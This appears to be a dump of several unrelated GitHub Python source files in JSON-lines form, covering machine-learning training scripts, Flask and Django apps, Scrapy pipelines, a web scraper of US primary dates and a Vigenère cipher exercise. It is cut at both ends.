response\n\n","repo_name":"knix-microfunctions/knix","sub_path":"ManagementService/python/getFunctions.py","file_name":"getFunctions.py","file_ext":"py","file_size_in_byte":1137,"program_lang":"python","lang":"en","doc_type":"code","stars":194,"dataset":"github-code","pt":"79"}
+{"seq_id":"11090183517","text":"# -*- coding: utf-8 -*-\n# @Time    : 18-8-23 下午4:52\n# @Author  : HeJi\n# @FileName: wrapup.py\n# @E-mail: hj@jimhe.cn\n\nfrom hsi_bert import HSI_BERT\nimport numpy as np\nimport gc\nimport argparse\nimport scipy.io as scio\nfrom utils import get_train_test, get_coordinates_labels, AA_andEachClassAccuracy\nfrom module import KNN\nfrom dataset import Data_Generator, zeropad_to_max_len\nfrom sklearn import preprocessing\nfrom sklearn.metrics import accuracy_score, classification_report, cohen_kappa_score, confusion_matrix\nimport tensorflow as tf\nimport os\nfrom grammar import Grammar, standartizeData, rotation_and_flip, zmm_random_flip, padWithZeros\nfrom utils import timer\n\nselection_rules = [\"rect 11\"]# \"round 4\", \"round 5\", \"round 6\"]\n\n\ndef get_matrics(y_true, y_pred):\n    oa = accuracy_score(y_pred=y_pred, y_true=y_true)\n    cm = confusion_matrix(y_pred=y_pred, y_true=y_true)\n    apc, aa = AA_andEachClassAccuracy(cm)\n    kappa = cohen_kappa_score(y1=y_true, y2=y_pred)\n    apc = np.expand_dims(apc, axis=0)\n    result = {\"oa\":oa, 'aa':aa, \"k\":kappa, \"apc\":apc}\n    return result\n\n\n\ndef get_args():\n    parser = argparse.ArgumentParser()\n    # 添加参数\n    parser.add_argument('--n_epochs', type=int, default=30, help='n_epochs')\n    parser.add_argument(\"--max_depth\", type=int, default=2, help=\"max_depth\")\n    parser.add_argument('--batch_size', type=int, default=128, help=\"num_batches\")\n    parser.add_argument(\"--num_head\", type=int, default=10)\n    parser.add_argument(\"--drop_rate\", type=float, default=0.3)\n    parser.add_argument(\"--attention_dropout\", type=float, default=0.3)\n    parser.add_argument(\"--log_every_n_samples\", type=int, default=5)\n    parser.add_argument(\"--save_model\", type=bool, default=True)\n    parser.add_argument(\"--save_path\", type=str, default=\"models\")\n    parser.add_argument(\"--test_size\",type=float)\n    parser.add_argument(\"--start_learning_rate\", type=float, default=3e-4)\n    parser.add_argument(\"--dataset\", type=str, default=\"IN\")\n    parser.add_argument(\"--prembed\", type=bool, default=True)\n    parser.add_argument(\"--prembed_dim\", type=int, default=100)\n    parser.add_argument(\"--data_path\", type=str, default=\"data/IN\")\n    parser.add_argument(\"--repeat_term\", type=int, default=10)\n    parser.add_argument(\"--is_valid\", type=bool, default=False)\n    parser.add_argument(\"--limited_num\", type=int)\n    parser.add_argument(\"--num_hidden\", type=int, default=200)\n    parser.add_argument(\"--masking\", type=bool, default=False)\n    parser.add_argument(\"--pooling\", type=bool, default=False)\n    parser.add_argument(\"--pool_size\", type=int, default=3)\n    parser.add_argument(\"--data_augment\", type = bool, default=False)\n    parser.add_argument(\"--max_len\", type=int,default=121)\n    parser.add_argument(\"--test_region\", type=str, default=\"rect 11\")\n\n    # 如: python xx.py --foo hello  > hello\n    args = parser.parse_args()\n    return args\n\ndef main():\n    print(tf.__version__)\n\n    arg = get_args()\n\n    print(\"arg.is_valid\", arg.is_valid, \"type(arg.is_valid)\", type(arg.is_valid))\n    used_labels = None\n    if arg.dataset == \"IN\":\n        X = scio.loadmat(\"data/Indian_pines_corrected.mat\")[\"indian_pines_corrected\"]\n        y = scio.loadmat(\"data/Indian_pines_gt.mat\")[\"indian_pines_gt\"]\n        VAL_SIZE = 1025\n        used_labels = [1,2,4,7,9,10,11,13]\n    elif arg.dataset == \"PU\":\n        X = scio.loadmat(\"data/PaviaU.mat\")[\"paviaU\"]\n        y = scio.loadmat(\"data/PaviaU_gt.mat\")[\"paviaU_gt\"]\n        VAL_SIZE = 4281\n    elif arg.dataset == \"KSC\":\n        X = scio.loadmat(\"data/KSC.mat\")[\"KSC\"]\n        y = scio.loadmat(\"data/KSC_gt.mat\")[\"KSC_gt\"]\n    elif arg.dataset == \"Salinas\":\n        X = scio.loadmat(\"data/Salinas_corrected.mat\")[\"salinas_corrected\"]\n        y = scio.loadmat(\"data/Salinas_gt.mat\")[\"salinas_gt\"]\n    elif arg.dataset == \"Houston\":\n        X = scio.loadmat(\"data/houston15.mat\")['data']\n        mask_train = scio.loadmat(\"data/houston15_mask_train.mat\")[\"mask_train\"]\n        mask_test = scio.loadmat(\"data/houston15_mask_test.mat\")[\"mask_test\"]\n\n\n    #X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.8)\n    #X_train, y_train = oversampleWeakClasses(X_train, y_train)\n    X = standartizeData(X)\n    #X_train, y_train, X_test, y_test = build_data_v2(X, y)\n\n    margin = 6\n    X = padWithZeros(X, margin=margin)\n\n    if arg.dataset == \"Houston\":\n        num_classes = 15\n    elif used_labels is not None:\n        num_classes = len(used_labels)\n    else:\n        num_classes = len(np.unique(y)) - 1\n    xshape = X.shape[1:]\n    aoa = []\n    aaa = []\n    ak = []\n    aapc = []\n    for repterm in range(arg.repeat_term):\n\n        if arg.dataset != \"Houston\":\n            coords, labels = get_coordinates_labels(y)\n            # train_coords, test_coords, train_labels, test_labels = train_test_split(coords, labels, test_size=arg.test_size)\n\n            train_coords, train_labels, test_coords, test_labels = get_train_test(data=coords, data_labels=labels,\n                                                                                  test_size=arg.test_size,\n                                                                                  limited_num=arg.limited_num,\n                                                                                  used_labels=used_labels)\n\n        else:\n            train_coords, train_labels = get_coordinates_labels(mask_train)\n            test_coords, test_labels = get_coordinates_labels(mask_test)\n        train_coords = train_coords + margin\n        test_coords = test_coords + margin\n        #X_test = Grammar(X, test_coords, method=arg.test_region)\n\n        X_train = Grammar(X, train_coords, method=\"rect 11\")\n        y_train = train_labels\n        y_test = test_labels\n\n        if arg.data_augment:\n            X_train, y_train = zmm_random_flip(X_train, y_train)  # rotation_and_flip(X_train, y_train)\n            # X_train, y_train, X_test, y_test = build_data(X, y)\n        X_train_shape = X_train.shape\n        #X_test_shape = X_test.shape\n        if len(X_train_shape) == 4:\n            X_train = np.reshape(X_train, [X_train_shape[0], X_train_shape[1] * X_train_shape[2], X_train_shape[3]])\n            #X_test = np.reshape(X_test, [X_test_shape[0], X_test_shape[1] * X_test_shape[2], X_test_shape[3]])\n\n        #X_test = zeropad_to_max_len(X_test, max_len=arg.max_len)\n        X_train = zeropad_to_max_len(X_train, max_len=arg.max_len)\n        \n        for i in range(num_classes):\n            print(\"num train and test in class %d is %d / %d\" % (i, (y_train == i).sum(), (y_test == i).sum()))\n        #print(\"num_train\", X_train.shape[0])\n        #print(\"num_test\", X_test.shape[0])\n        print(\"num_classes\", num_classes)\n\n        train_generator = Data_Generator(X, y=y_train, use_coords=train_coords,\n                                            batch_size=arg.batch_size,\n                                            selection_rules=selection_rules,\n                                            shuffle=True, till_end=False,\n                                            max_len=arg.max_len)\n\n\n        test_generator = Data_Generator(X, y=y_test, use_coords=test_coords,\n                                        batch_size=1024,\n                                        selection_rules=[arg.test_region]\n                                        ,shuffle=False,\n                                        till_end=True, max_len=arg.max_len)\n\n\n        model = HSI_BERT(max_len = arg.max_len,\n                         n_channel=xshape[-1],\n                         max_depth=arg.max_depth,\n                         num_head=arg.num_head,\n                         num_hidden=arg.num_hidden,\n                         drop_rate=arg.drop_rate,\n                         attention_dropout=arg.attention_dropout,\n                         num_classes = num_classes,\n                         start_learning_rate=arg.start_learning_rate,\n                         prembed=arg.prembed,\n                         prembed_dim=arg.prembed_dim,\n                         masking=arg.masking,\n                         pooling=arg.pooling,\n                         pool_size=arg.pool_size)\n\n        model.build()\n\n        print(arg)\n\n        save_full_path = None\n\n        if arg.save_model:\n            if not os.path.exists(arg.save_path):\n                os.mkdir(arg.save_path)\n            save_full_path = arg.save_path+'/'+arg.dataset+\"/model_%d_h%d_d%d\"%(repterm, arg.num_head, arg.max_depth)+'/'+\"model_%d_h%d_d%d.ckpt\"%(repterm, arg.num_head, arg.max_depth)\n            model_path = arg.save_path+'/'+arg.dataset+\"/model_%d_h%d_d%d\"%(repterm, arg.num_head, arg.max_depth)\n            if not os.path.exists(model_path):\n                os.mkdir(model_path)\n            np.save(os.path.join(model_path,\"train_coords.npy\"), train_coords - margin)\n            np.save(os.path.join(model_path, \"test_coords.npy\"), test_coords - margin)\n        #if arg.dataset == \"Salinas\":\n        \"\"\"\n        print(\"Fitting generator\")\n        with timer(\"Fitting Generator Completed\"):\n            model.fit_generator(train_generator,\n                            nb_epochs = arg.n_epochs,\n                            log_every_n_samples = arg.log_every_n_samples,\n                            save_path=save_full_path)\n\n        #preds = model.predict_from_generator(test_generator)\n        \"\"\"\n        print(\"Fitting normal data\")\n        with timer(\"Fitting Normal Data Completed\"):\n            model.fit(X_train, y_train, batch_size=arg.batch_size,\n                      nb_epochs=arg.n_epochs,\n                      log_every_n_samples=arg.log_every_n_samples,\n                      save_path=save_full_path)\n\n        with timer(\"Testing\"):\n            preds = model.predict_from_generator(test_generator)\n        result = get_matrics(y_true=test_labels, y_pred=preds)\n        oa = result['oa']\n        aa = result[\"aa\"]\n        kappa = result[\"k\"]\n        apc = result[\"apc\"]\n        print(\"oa\", oa)\n        print('aa', aa)\n        print(\"kappa\", kappa)\n        print(\"apc\", apc.flatten())\n\n        best_model = HSI_BERT(max_len = arg.max_len,\n                         n_channel=xshape[-1],\n                         max_depth=arg.max_depth,\n                         num_head=arg.num_head,\n                         num_hidden=arg.num_hidden,\n                         drop_rate=arg.drop_rate,\n                         attention_dropout=arg.attention_dropout,\n                         num_classes = num_classes,\n                         start_learning_rate=arg.start_learning_rate,\n                         prembed=arg.prembed,\n                         prembed_dim=arg.prembed_dim,\n                         masking=arg.masking,\n                         pooling=arg.pooling,\n                         pool_size=arg.pool_size)\n        best_model.restore(save_full_path)\n\n        #if arg.dataset == \"Salinas\":\n        #    preds = best_model.predict_from_generator(test_generator)\n        #else:\n        preds = best_model.predict_from_generator(test_generator)\n        result = get_matrics(y_pred=preds, y_true=test_labels)\n        oa = result['oa']\n        aa = result[\"aa\"]\n        kappa = result[\"k\"]\n        apc = result[\"apc\"]\n        print(\"oa\", oa)\n        print('aa', aa)\n        print(\"kappa\", kappa)\n        print(\"apc\", apc.flatten())\n        aoa.append(oa)\n        aaa.append(aa)\n        ak.append(kappa)\n        aapc.append(apc)\n        print(classification_report(test_labels, preds))\n    aoa = np.array(aoa)\n    aaa = np.array(aaa)\n    ak = np.array(ak)\n    std_aa = np.std(aaa)\n    std_oa = np.std(aoa)\n    std_ak = np.std(ak)\n    aapc = np.concatenate(aapc, axis=0)\n    print(\"mean oa\", np.mean(aoa))\n    print(\"std_oa\", std_oa)\n    print(\"mean aa\", np.mean(aaa))\n    print(\"std_aa\", std_aa)\n    print(\"mean kappa\", np.mean(ak))\n    print(\"sta_ak\", std_ak)\n    print(\"maapc\", np.mean(aapc, axis=0))\n    print(\"maapc_std\", np.std(aapc, axis=0))\n    print(\"below is aapc\")\n    print(aapc)\n\nif __name__ ==\"__main__\":\n    main()\n","repo_name":"hyperji/HSI_BERT","sub_path":"wrapup.py","file_name":"wrapup.py","file_ext":"py","file_size_in_byte":11972,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"79"}
+{"seq_id":"5781807365","text":"import numpy as np\nfrom sklearn.metrics import make_scorer\nimport rampwf as rw\nfrom sklearn import multioutput\nimport xgboost as xgb\nfrom matplotlib import pyplot\nfrom sklearn.model_selection import GridSearchCV\nfrom sklearn.linear_model.base import BaseEstimator\nfrom problem import get_train_data\n\ndef EM99(y_true, y_pred):\n    precision=3\n    quant=0.99\n    eps=1e-8\n\n    if (y_pred < 0).any():\n        return float('inf')\n\n    ratio_err = np.array([(p + eps) / t for y_hat, y in zip(y_pred, y_true)\n                        for p, t in zip(y_hat, y) if t != 0])\n    # sorted absolute value of mw2dB ratio err\n    score = np.percentile(np.abs(10 * np.log10(ratio_err)), 100 * quant)\n    return score\n\n\nclass Regressor(BaseEstimator):\n\n    def __init__(self, max_depth=2, n_estimators=60, learning_rate=0.1):\n        super().__init__()\n        self.model = None\n\n        self.max_depth = max_depth\n        self.n_estimators = n_estimators\n        self.learning_rate = learning_rate\n        self.model = multioutput.MultiOutputRegressor(xgb.XGBRegressor(n_estimators=self.n_estimators, max_depth=self.max_depth, learning_rate=self.learning_rate))\n\n    def fit(self, X, y):\n        # Get data and create train data loaders\n        X_56 = []\n        for sample in X:\n            metadata = sample[0]\n            inp = sample[1]\n\n            metadata_input = [0] * 8 * 3\n            for i, j in zip(range(8), range(0, 24, 3)):\n                if i >= len(metadata):\n                    metadata_input[j] = 0\n                    metadata_input[j+1] = 0\n                    metadata_input[j+2] = 0\n                else:\n                    metadata_input[j] = 2 if metadata[i][0] == 'EDFA' else 1\n                    try:\n                        metadata_input[j+1] = metadata[i][1][0]\n                    except:\n                        metadata_input[j+1] = 0\n                    try:\n                        metadata_input[j+2] = metadata[i][1][1]\n                    except:\n                        metadata_input[j+2] = 0\n\n            real_inp = inp + metadata_input\n            X_56.append(np.asarray(real_inp))\n\n        X_56 = np.asarray(X_56)\n        self.model.fit(X_56, y, eval_metric=\"logloss\", verbose=True)\n        \n    def predict(self, X):\n        X_56 = []\n        for sample in X:\n            metadata = sample[0]\n            inp = sample[1]\n\n            metadata_input = [0] * 8 * 3\n            for i, j in zip(range(8), range(0, 24, 3)):\n                if i >= len(metadata):\n                    metadata_input[j] = 0\n                    metadata_input[j+1] = 0\n                    metadata_input[j+2] = 0\n                else:\n                    try:\n                        metadata_input[j] = 2 if metadata[i][0] == 'EDFA' else 1\n                    except:\n                        metadata_input[j] = 0 \n                    try:\n                        metadata_input[j+1] = metadata[i][1][0]\n                    except:\n                        metadata_input[j+1] = 0\n                    try:\n                        metadata_input[j+2] = metadata[i][1][1]\n                    except:\n                        metadata_input[j+2] = 0\n\n            X_56.append(inp + metadata_input)\n\n        X_56 = np.asarray(X_56)\n        preds = self.model.predict(X_56)\n        preds = preds * (preds > 0)\n        return preds\n\n\nparameters = [{\n    'max_depth': [3, 4, 5, 6, 7],\n    'n_estimators': [50, 250, 500, 1000],\n    'learning_rate': [0.03, 0.05, 0.08, 0.1]\n}]\nEM99_score = make_scorer(EM99, greater_is_better=False)\n\n'''\nparameters = [{\n    'max_depth': [3, 4],\n    'learning_rate': [0.03, 0.05]\n}]\n'''\n\ngrid_search = GridSearchCV(\n    estimator=Regressor(),\n    param_grid=parameters,\n    scoring = EM99_score,\n    n_jobs = 8,\n    cv = 4,\n    verbose=True\n)\n\nx_train, y_train = get_train_data()\n\ngrid_search.fit(x_train, y_train)\nprint(grid_search.best_score_)\nprint(grid_search.best_params_)\n\n","repo_name":"gpspelle/huawei-AI","sub_path":"grid_search.py","file_name":"grid_search.py","file_ext":"py","file_size_in_byte":3909,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"73313476094","text":"from application import db, create_app\nfrom models import *\n\nQUESTION_FILE = \"./files/questions.csv\"\n\ndef main():\n    user1 = User('x', 123, 'x', True)\n    user2 = User('y', 124, 'y', True)\n    user3 = User('z', 125, 'z', True)\n\n    questions = Question.query.all()\n    count = 0\n    for question in questions:\n        answer1 = Answer(question._id, False, 2)\n        answer2 = Answer(question._id, False, 3)\n        answer3 = Answer(question._id, True if count % 2 else False, 3)\n\n        user1._answers.append(answer1)\n        user2._answers.append(answer2)\n        user3._answers.append(answer3)\n\n        db.session.add(answer1)\n        db.session.add(answer2)\n        db.session.add(answer3)\n        count += 1\n    db.session.commit()\n\nif __name__ == \"__main__\":\n    import models\n    app = create_app()\n    main()\n","repo_name":"hilfialkaff/matchmate","sub_path":"add-test-data.py","file_name":"add-test-data.py","file_ext":"py","file_size_in_byte":819,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"39121906871","text":"#coding=utf-8\nimport unittest\nfrom test_mathfunc import TestMathFunc\n\nif __name__ == '__main__':\n    suite = unittest.TestSuite()\n    tests = [TestMathFunc(\"test_add\"),TestMathFunc(\"test_minus\"),TestMathFunc(\"test_divide\")]\n    # 将需要执行的case添加到Test Suite中，没有添加的不会被执行\n    suite.addTests(tests)\n\n    with open('UnittestTextReport.txt','a') as f:\n        runner = unittest.TextTestRunner(stream=f,verbosity=2)\n        runner.run(suite)\n\n\n","repo_name":"cuiboautotest/learnpython3","sub_path":"unittest自动化框架/unittest/test_suite.py","file_name":"test_suite.py","file_ext":"py","file_size_in_byte":476,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"26365165506","text":"import logging\nimport time\nimport webbrowser\n\nfrom pyfiglet import Figlet\n\nfrom logic import Logic\nfrom flask import Flask, render_template, request\nfrom turbo_flask import Turbo\nimport sqlite3 as sl\n\ncode = \"\"\nde = \"\"\n\napp = Flask(__name__)\nobj = Logic()\n\n\n@app.route('/', methods=['GET', 'POST'])\ndef index():\n    return render_template(\"index.html\", code=code, de=de)\n\n\n@app.route('/encode', methods=['GET', 'POST'])\ndef encode():\n    global code\n    response = request.args.get(\"q\")\n    code = Logic.encode_to_morse(response)\n    print(code)\n    return \"nothing\"\n\n\n@app.route('/decode')\ndef decode():\n    global de\n    response = request.args.get(\"q\")\n    de = Logic.decode_from_morse(response)\n    return \"nothing\"\n\n\nif __name__ == '__main__':\n    log = logging.getLogger('werkzeug')\n    log.setLevel(logging.ERROR)\n    text = Figlet(font=\"digital\")\n    print(text.renderText(\"MORSE\"))\n    time.sleep(1)\n    webbrowser.open(\"http://127.0.0.1:5000\")\n    app.run()\n","repo_name":"andrew-leshs/morse","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":968,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"17584906145","text":"# Define your item pipelines here\n#\n# Don't forget to add your pipeline to the ITEM_PIPELINES setting\n# See: https://docs.scrapy.org/en/latest/topics/item-pipeline.html\n\n\n# useful for handling different item types with a single interface\nfrom itemadapter import ItemAdapter\nimport pymongo\n# 1.7版本以下导入settings的方法\n# from scrapy.conf import settings\n# 1.7版本以上引入settings的方法\nfrom scrapy.utils.project import get_project_settings\n\n\nclass ZufangSpiderPipeline:\n    \"\"\"\n    # 存入mongodb\n    import pymongo\n\n    collection_name = 'scrapy_items'\n\n    def __init__(self):\n        self.mongo_uri = mongo_uri\n        self.mongo_db = mongo_db\n\n    @classmethod\n    def from_crawler(cls,crawler):\n        return cls(\n            mongo_uri = crawler.settings.get('MONGO_URI'),\n            mongo_db = crawler.settings.get('MONGO_DATABASE', 'items')\n        )\n\n    def open_spider(self,spider):\n        self.client = pymongo.MongoClient(self.mongo_uri)\n        self.db = self.client(self.mongo_db)\n\n    def close_spider(self, spider):\n        self.client.close()\n\n    def process_item(self, item, spider):\n        self.db[self.collection_name].insert_one(dict(item))\n        return item\n\n    \"\"\"\n    \"\"\"\n    # 存入mysql\nclass MysqlPipeline():\n    def __init__(self, host, database, user, password, port):\n        self.host = host\n        self.database = database\n        self.user = user \n        self.password = password\n        self.port = port\n    \n    @classmethod\n    def from_crawler(cls,crawler):\n        return cls(\n            host = crawler.settings.get('MYSQL_HOST'),\n            database = crawler.settings.get('MYSQL_DATABASE'),\n            user = crawler.settings.get('MYSQL_USER'),\n            password = crawler.settings.get('MYSQL_PASSWORD'),\n            port = crawler.settings.get('MYSQL_PORT')     \n        )\n    def open_spider(self, spider):\n        self.db = pymysql.connect(self.host, self.user, self.password, self.database, charset='utf8', port=self.port):\n        self.cursor = self.db.cursor()\n    \n    def close_spider(self, spider):\n        self.db.close()\n    \n    def process_item(self, item, spider):\n        print(item['title'])\n        data = dict(item)\n        keys = ','.join(data.keys())\n        values = ','.join(['%s'] * len(data))\n        sql = 'insert into %s (%s) values (%s)' % (itme.table, keys, values)\n        self.cursor.excute(sql,tuple(data.values()))\n        self.db.commit()\n        return item\n            \n    \"\"\"\n    \"\"\"\n    # 去重\nfrom scrapy.exceptions import DropItem\n\nclass DuplicatesPipeline(object):\n    def __init__(self):\n        self.ids_seen = set()\n    \n    def process_item(self, item, spider):\n        if item['id'] in self.ids_seen:\n            raise DropItem(\"Duplicate item found:%s\" % item)\n        else:\n        self.ids_seen.add(item['id'])\n        return item\n    \n    \"\"\"\n\n    def __init__(self):\n        settings = get_project_settings()\n        host = settings['MONGODB_HOST']\n        port = settings['MONGODB_PORT']\n        db_name = settings['MONGODB_DBNAME']\n        client = pymongo.MongoClient(host=host, port=port)\n        db = client[db_name]\n        self.post = db[settings['MONGODB_DOCNAME']]\n\n    # 数据持久化的操作\n    def process_item(self, item, spider):\n        zufang = dict(item)\n        self.post.insert(zufang)\n        return item\n","repo_name":"Jonescy/Scrapy","sub_path":"zufang_spider/zufang_spider/pipelines.py","file_name":"pipelines.py","file_ext":"py","file_size_in_byte":3360,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"79"}
+{"seq_id":"74435454336","text":"import numpy as np\nimport pickle\nimport glob\nimport ipdb\nimport glob\nst = ipdb.set_trace\ndata_mod = \"bb\"\ntake_glob = True\nnum_boxes = []\nname_classes = []\nif take_glob:\n\troot_location = \"/projects/katefgroup/datasets/\"\n\tfolder_name  = f\"{root_location}/replica_processed/npy/{data_mod}/*\"\t\n\t# txt_file_train = f\"{root_location}/replica_processed/npy/{data_mod}t.txt\"\n\tfile_list = glob.glob(folder_name)\n\tall_classes = []\n\tfor file in file_list:\n\t\tpickled_file = pickle.load(open(file,\"rb\"))\n\t\tbbox_origin = pickled_file[\"bbox_origin\"]\n\t\tclasses = pickled_file['object_category_names']\n\t\tall_classes = all_classes + classes\n\t\tnum_bbox_origin = len(pickled_file[\"bbox_origin\"])\n\t\tcategory_names = pickled_file[\"object_category_names\"]\n\t\tnum_boxes.append(num_bbox_origin)\n\t\tname_classes.append(category_names)\n\tnum_boxes = np.array(num_boxes)\n\tname_classes = np.array(name_classes)\n\tbox_ind = np.argmax(num_boxes)\n\tunique_classes = set(all_classes)\n\tprint(unique_classes,len(unique_classes))\n\tprint(name_classes[box_ind])\n\tprint(np.max(num_boxes))\n\t# st()\n\t# print(max(num_boxes))\n\t# pickled_file[]","repo_name":"HARPLab/gastronomy","sub_path":"perception/pytorch_disco/scripts/get_max_objects.py","file_name":"get_max_objects.py","file_ext":"py","file_size_in_byte":1095,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"79"}
+{"seq_id":"28242920175","text":"from django.shortcuts import render, redirect\nfrom .forms import FoodForm\nfrom .models import Food\n# from django.contrib.auth.forms import UserCreationForm\n# from django.contrib.auth import authenticate,login\n\nfrom django.contrib import messages\n\ndef add_food(request):\n    if request.method == 'POST':\n        form = FoodForm(request.POST)\n        if form.is_valid():\n            form.save()\n            return redirect('food_list')\n    else:\n        form = FoodForm()\n    return render(request, 'trekar/add_food.html', {'form' : form})\n\ndef food_list(request):\n    foods = Food.objects.all()\n    return render(request, 'trekar/food_list.html', {'foods': foods})\n\ndef edit_food(request,food_id):\n    food = Food.objects.get(id = food_id)\n    if request.method == 'POST':\n        form = FoodForm(request.POST,instance=food)\n        if form.is_valid():\n            form.save()\n            return redirect('food_list')\n    else:\n        form = FoodForm()\n    return render(request, 'trekar/edit_food.html', {'form' : form})\n\ndef delete_food(request, food_id):\n    food = Food.objects.get(id = food_id)\n    food.delete()\n    return redirect('food_list')\n\n# def register(request):\n#     if request.method == 'POST':\n#         form = UserCreationForm(request.POST)\n#         print(\"hello\")\n#         if form.is_valid():\n#             form.save()\n#             Username=form.cleaned_data.get('username')\n#             messages.success(request, f'account created for a {Username}')\n#             return redirect('Login')\n#     else:\n#         form=UserCreationForm()\n#         return render(request,'registrastion/register.html',{'form':form})\n    \n# def user_login(request):\n#     if request.method == 'POST':\n#         form=LoginForm(request.POST)\n#         if form.is_valid():\n#             form.save()\n#         username=form.cleaned_data['username']\n#         password=form.cleaned_data['password']\n#         user=authenticate(username=username,password=password)\n#         if user is not None :\n#             login(request,user)\n#             return redirect('food_list')\n#         else:\n#             form.add_error(None,{'error':'not correct password'})\n#     else:\n#         form=LoginForm\n#         return render(request,'registrastion/user_login.html',{'form':'form'})\n\n\n            \n\n\n","repo_name":"diptidudhat778/calory_tracker","sub_path":"app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2290,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"12302647218","text":"import requests\nfrom bs4 import BeautifulSoup\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.orm import sessionmaker\nfrom pacfree_searcher.constants import STATES, DATES_SOURCE\nfrom pacfree_searcher.models import Base, PrimaryDate\n\n\nclass DatesParser():\n    \"\"\"Handles the details of parsing the election dates and adding them to\n    the database.\"\"\"\n    def __init__(self):\n        \"\"\"Sets up the connection to the database and calls `get_dates`\"\"\"\n        engine = create_engine('sqlite:///dates.db')\n        Base.metadata.bind = engine\n        self.db = sessionmaker(bind=engine)()\n        self.get_dates()\n\n\n    def get_dates(self):\n        \"\"\"Finds all primary dates and calls `add_date` to add them to the\n        database.\"\"\"\n        resp = requests.get(DATES_SOURCE)\n        html = BeautifulSoup(resp.text, 'lxml')\n        data = html.find('table').find_all('td')\n        state, date = (None, None)\n        for i in range(0, len(data)):\n            if i % 2 == 0:\n                state = data[i].string\n                assert date is None\n                continue\n            date = data[i].string\n            entry = {\n                'state': state,\n                'abbr': STATES[state],\n                'date': date\n            }\n            self.add_entry(entry)\n            date = None\n\n\n    def add_entry(self, entry):\n        \"\"\"Add primary date entry to the database.\"\"\"\n        self.db.add(PrimaryDate(**entry))\n        self.db.commit()\n\n\n\nDatesParser()\n","repo_name":"eicksl/PAC-Free-Searcher","sub_path":"dates.py","file_name":"dates.py","file_ext":"py","file_size_in_byte":1478,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"79"}
+{"seq_id":"17989807564","text":"# Persians: Sydney Anderson, Tram Doan, Devon Knudsen, Zackary Phillips, Promyse Ward, James Wilson\r\n# GitHub Repo: https://github.com/devonknudsen/Vigenere-Cipher\r\n# Written in Python 3.7\r\n\r\nimport sys\r\nimport enum\r\nimport string\r\n\r\n# encrypts pain text to cipher text\r\ndef Cipher(plainText, key):\r\n    P = list(plainText)\r\n    K = list(key)\r\n    C = [] * len(plainText)\r\n    x = 0\r\n    \r\n    # iterate through each index in the plain text\r\n    for i in range(0, len(P)):\r\n    \r\n        # x is used to track and repeat key\r\n        # when x reaches the key's length, it resets\r\n        if (x == len(K)):\r\n            x = 0\r\n            \r\n        # checks if the letter of the plain text is an alphabetic character\r\n        # if true: find and add integer value\r\n        if (P[i].isalpha()):\r\n            Pi = ASCIIValue(P[i])\r\n            Ki = ASCIIValue(K[x])\r\n            c_int = (Pi + Ki)%26\r\n            x+= 1\r\n            \r\n        # else: add symbol/numerical value\r\n        else:\r\n            c_int = P[i]\r\n\r\n        C.append(c_int)\r\n\r\n    return C\r\n    \r\n# decrypts cipher text to plain text\r\ndef Decipher(cipherText, key):\r\n    C = list(cipherText)\r\n    K = list(key)\r\n    P = [] * len(cipherText)\r\n    x = 0\r\n\r\n    # iterate through each index in the cipher text\r\n    for i in range(0, len(C)):\r\n        \r\n        # x is used to track and repeat key\r\n        # when x reaches the key's length, it resets\r\n        if (x == len(K)):\r\n            x = 0\r\n            \r\n        # checks if the letter of the cipher text is an alphabetic character\r\n        # if true: find and add integer value     \r\n        if (C[i].isalpha()):\r\n            Ci = ASCIIValue(C[i])\r\n            Ki = ASCIIValue(K[x])\r\n            p_int = (Ci - Ki + 26)%26\r\n            x += 1\r\n            \r\n        # else: add symbol/plainTextList value\r\n        else:\r\n            p_int = C[i]\r\n\r\n        P.append(p_int)\r\n\r\n    return P\r\n\r\n# returns the number value of a letter\r\ndef ASCIIValue(letter):\r\n\r\n    # if the letter is lowercase, get lowercase alphabet\r\n    if letter.islower():\r\n        alphabet = list(string.ascii_lowercase)\r\n        \r\n    # else, get uppercase alphabet\r\n    else:\r\n        alphabet = list(string.ascii_uppercase)\r\n    \r\n    # find letter in alphabet\r\n    for i in range(len(alphabet)):\r\n        if (alphabet[i] == letter):\r\n            return i\r\n        \r\n# returns the letter value of a number\r\ndef CharValue(int, case):\r\n\r\n    # if the letter was once uppercase, get lowercase alphabet\r\n    if case == True:\r\n        alphabet = list(string.ascii_lowercase)\r\n        \r\n    # else, get uppercase alphabet\r\n    else:\r\n        alphabet = list(string.ascii_uppercase)\r\n        \r\n    # return letter in alphabet\r\n    return alphabet[int]\r\n\r\n\r\n# MAIN CODE #\r\n\r\n# remove spaces from key (can also be done in cipher/decipher functions)\r\nkey = sys.argv[2]\r\nkey = key.replace(\" \", \"\")\r\n\r\n# if want to encrypt a plain text\r\nif (sys.argv[1] == \"-e\"):\r\n    \r\n    while(True):\r\n\r\n        # used try, except to prevent keyboardInterruption error thrown\r\n        try:\r\n            cipherText = \"\"\r\n            plainText = input()\r\n            plainTextList = list(plainText)\r\n            \r\n            # encipher plain text into a list of integers\r\n            intList = Cipher(plainText, key)\r\n            \r\n            \r\n            # convert each integer into it's mapped letter of the alphabet\r\n            for i in range(0, len(intList)):\r\n            \r\n                # check if the object is an integer\r\n                # if so, convert to letter\r\n                if(isinstance(intList[i], int)):\r\n                    cipherText += str(CharValue(intList[i], plainTextList[i].islower()))\r\n                \r\n                # else, add symbol/numerical value\r\n                else: \r\n                    cipherText += intList[i]\r\n\r\n            print(cipherText)\r\n            \r\n        except KeyboardInterrupt:\r\n        # this will exit if the user does ^d, or ^z, ^c, or whatever their system's exit is\r\n            sys.exit(1)\r\n\r\n        # this will catch the EOF error (EOF - End of 